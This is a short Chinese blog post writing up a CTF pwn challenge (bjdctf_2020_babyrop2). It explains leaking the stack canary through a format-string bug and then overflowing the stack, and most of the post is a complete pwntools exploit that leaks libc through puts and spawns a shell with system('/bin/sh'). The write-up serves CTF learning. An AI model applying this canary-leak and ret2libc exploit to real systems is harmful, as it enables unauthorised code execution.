canary保护——bjdctf_2020_babyrop2

基本操作

 

 开启了canary保护

 

 gift函数明显的格式化字符串漏洞

 

vlun函数明显的栈溢出

这里想要栈溢出首先要获得canary的值

然而这个漏洞有输入限制,只能输入6个字节,不能改got表

通过格式化漏洞一个个试canary的值

 

 

 可以看到偏移为7的地方就是canary的值

剩下的就是以前的rop了,就不写了

得到flag

 

 exp:

from pwn import *
from LibcSearcher import *
p=remote("node3.buuoj.cn",27111)
#p=process('./pwn1')
elf=ELF('./pwn1')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main=elf.symbols['main']
pop=0x0400993
ret=0x04005f9
vlun=0x400887
p.recvuntil('u!\n')
payload='%7$p'
p.sendline(payload)
p.recvuntil('0x')
canary=int(p.recv(16),16)
print("0x%x"%canary)
p.recvuntil("story!\n")
payload='a'*(0x20-8)+p64(canary)+p64(0)+p64(pop)+p64(puts_got)+p64(ret)+p64(puts_plt)+p64(vlun)
p.sendline(payload)
addr=u64(p.recv(6).ljust(0x8,'\x00'))
print("addr=0x%x"%addr)
libc=LibcSearcher('puts',addr)
libc_base=addr-libc.dump('puts')
system=libc_base+libc.dump('system')
str_bin_sh=libc_base+libc.dump('str_bin_sh')
payload2='a'*(0x20-8)+p64(canary)+p64(0)+p64(pop)+p64(str_bin_sh)+p64(system)
p.recvuntil("story!")
p.sendline(payload2)
p.interactive()

 

 

posted @ 2021-03-23 14:13  Haokunnnnnnnna  阅读(76)  评论(0编辑  收藏  举报